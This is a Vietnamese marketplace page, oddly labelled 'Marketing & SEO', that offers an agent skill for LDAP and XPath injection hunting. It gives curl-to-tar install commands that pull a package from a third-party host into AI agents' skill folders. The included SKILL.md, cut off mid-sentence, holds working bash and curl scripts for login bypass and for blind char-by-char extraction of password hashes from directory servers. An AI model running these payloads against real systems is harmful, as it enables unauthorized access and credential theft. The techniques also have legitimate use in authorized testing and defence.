hunt-ldap – skill Marketing & SEO cho agent AI
Săn lỗ hổng LDAP Injection và XPath Injection — vượt xác thực, khai thác thuộc tính mù từng ký tự (blind char-by-char), liệt kê người dùng/nhóm AD, vượt XPath trên kho lưu trữ XML. Bao gồm bộ ký tự đặc biệt LDAP (* ( ) \\ NUL /), phân biệt ngữ cảnh search-filter và DN-injection, cân bằng ngoặc đơn, logic lọc AND/OR, và cách dùng {SSHA}/{CRYPT}
Cài skill hunt-ldap bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ldap-d229b.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-ldap – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ldap-d229b.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-ldap – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ldap-d229b.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-ldap – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ldap-d229b.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-ldap – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
HUNT-LDAP — LDAP Injection & XPath Injection
> Grounding note: LDAP injection is rarely disclosed with verbatim payloads on
> public platforms (most live on internal-pentest reports). This skill is
> grounded in the **OWASP LDAP Injection Prevention / Testing Guide
> (WSTG-INPV-06), PortSwigger Web Security Academy (LDAP injection)**, and
> the RFC 4515 filter grammar — all publicly verifiable references rather
> than invented HackerOne IDs. Do not cite a report you cannot link.
Crown Jewel Targets
LDAP injection that bypasses authentication = Critical. Blind attribute
exfiltration of credentials/secrets = High. AD enumeration alone = Medium-High.
Highest-value chains:
- LDAP auth bypass — close the
uidfilter and append an always-true OR so the
bind/search returns the admin entry without a valid password.
- Blind attribute exfil — char-by-char extraction of an attribute value via a
boolean oracle (login success/failure, result count, or response length).
- userPassword hash exfil (non-AD only) — on OpenLDAP/389-DS the
userPassword attribute can hold {SSHA}/{CRYPT} hashes that ARE readable
by query. See the AD-vs-generic warning below.
- XPath injection auth bypass —
' or '1'='1against XML-backed auth.
---
CRITICAL — Active Directory vs generic LDAP
Do not conflate the two. They behave very differently:
| | Generic LDAP (OpenLDAP, 389-DS, ApacheDS) | Active Directory |
|---|---|---|
| Password attribute | userPassword — may hold {SSHA}/{MD5}/{CRYPT} and is readable if ACL allows | unicodePwd — write-only, never returned by any search |
| Hash exfil via injection | Possible where ACLs leak userPassword | Not possible — there is no readable hash attribute over LDAP |
| Useful enum attrs | uid, cn, mail, userPassword | sAMAccountName, userPrincipalName, mail, memberOf, description (often holds plaintext secrets!) |
**Do not tell a reader that blind LDAP injection yields AD password hashes — it
does not.** unicodePwd is write-only. Against AD, the win is enumeration
(sAMAccountName, memberOf, description/info fields that admins misuse to
store passwords) and auth bypass — not hash dumping. The hash-exfil technique
applies only to non-AD directories exposing userPassword.
---
Attack Surface Signals
Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/* /api/directory/* /people /address-book /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
javax.naming.NameNotFoundException
javax.naming.directory.InvalidSearchFilterException
LDAP: error code 49 - 80090308 (AD invalid creds / bind failure)
com.sun.jndi.ldap.* / System.DirectoryServices / ldap_search():
"Bad search filter" / net.ldap (Go) / python-ldap SERVER_DOWN---
LDAP filter grammar (RFC 4515) — why injection works
A login filter is typically built by string-concat:
(&(uid=<USERNAME>)(userPassword=<PASSWORD>))& = AND, | = OR, ! = NOT. Filters are prefix/Polish notation — the
operator comes first and every sub-filter is parenthesised. To inject you must
(a) escape the current (uid=...) group, (b) inject your own logic, and
(c) leave the overall parenthesis count balanced or the server throws a
filter-syntax error instead of executing.
The special-character set — TEST EACH ONE
These characters are syntactically meaningful and MUST be escaped by a safe app
(RFC 4515 §3). If the app reflects an error or behaves differently when you send
them raw, the input is unescaped → injectable:
| Char | Filter escape | Why it matters |
|------|---------------|----------------|
| * | \2a | wildcard — matches any value |
| ( | \28 | opens a filter group |
| ) | \29 | closes a filter group |
| \ | \5c | escape char itself |
| NUL | \00 | string terminator — truncates filter in C-backed servers |
| / | (DN context) | RDN separator — relevant for DN injection |
Search-filter context vs DN injection are different bugs:
- Search-filter injection (most common): your input lands inside a
(attr=VALUE) filter. Payloads use * ( ) & | !.
- DN injection: your input is concatenated into a Distinguished Name
(uid=VALUE,ou=people,dc=corp). Here , = + " \ < > ; and /
matter, and a * is NOT a wildcard. Test both — the payloads do not transfer.
---
Step-by-Step Hunting Methodology
Phase 1 — Confirm an LDAP backend (baseline first)
# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
-X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"
# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username":"test)","password":"x"}' | grep -iE \
"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"A lone ) that produces a syntax error/500 while a balanced payload does not is
the cleanest LDAP-injection tell — note it, you will need it as proof.
Phase 2 — Auth-bypass payloads (balance your parentheses)
# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.
# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
# username = *)(uid=*))(|(uid=* password = anything
# Always-true admin (OR uid=*):
# username = admin)(|(uid=*) (note: leaves one extra ')' — see below)
# NUL-truncate the password clause (C-backed servers):
# username = admin)(uid=*))%00 password = x
USERNAME_PAYLOADS=(
'admin))(|(uid=*' # close uid + close &, open OR uid=* — balance check below
'*)(uid=*))(|(uid=*' # full always-true, self-balancing classic
'admin)(!(userPassword=ZZZ))' # AND NOT a password that is never set → always true
'admin*' # simple wildcard suffix — try first, lowest noise
)
for P in "${USERNAME_PAYLOADS[@]}"; do
R=$(curl --max-time 30 --connect-timeout 10 -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
echo "PAYLOAD: $P"
echo "RESP: ${R: -40}"
echo "BASE: $BASE <-- compare http_code+size to rule out false positive"
echo "---"
doneParenthesis-balancing rule of thumb: count ( minus ) in the *resulting*
full filter, not just your payload. If the app appends )(userPassword=...))
after your input, leave the right number of trailing ) so the final string is
balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).
Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)
Raw size_download diffing is noise-prone (WAF banners, CSRF tokens, timestamps,
length-jitter on the injected char itself). Use a paired true/false control
so the oracle is the *response*, not the absolute size.
# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
# TRUE : admin)(uid=*))(|(uid=* -> entry exists
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () { # $1 = filter-tail payload -> prints normalized size
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }
# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*)) on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
done
done
echo "RECOVERED: $PREFIX"False-positive guards for blind exfil:
- Repeat each positive char 3x and confirm the size is stable — length-jitter
from the attacker-controlled char itself is th
… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- marketing-loops – Khi người dùng muốn thiết lập một quy trình marketing định kỳ, tự vận hành — một vòng…
- cmo-advisor – Tư vấn lãnh đạo marketing cho doanh nghiệp đang mở rộng. Định vị thương hiệu, thiết kế…
- marketing-plan – Khi người dùng cần một kế hoạch marketing toàn diện cho khách hàng, công ty họ tư vấn…
- codebase-onboarding – Phân tích codebase và tạo tài liệu onboarding cho kỹ sư, tech lead và nhà thầu. Thu thập…
- marketing-psychology – Dùng khi người dùng muốn áp dụng nguyên tắc tâm lý, mô hình tư duy hoặc khoa học hành vi…
- cold-email – Khi người dùng muốn viết, cải thiện hoặc xây dựng chuỗi email tiếp cận lạnh B2B gửi cho…
- commercial-forecaster – Dùng khi xây dựng dự báo bookings theo quý, dự báo ARR, dự báo pipeline, dự báo NRR…
- commercial-skills – Dùng khi xem xét, phê duyệt hoặc thiết kế hoạt động thương mại: mô hình giá, rà soát…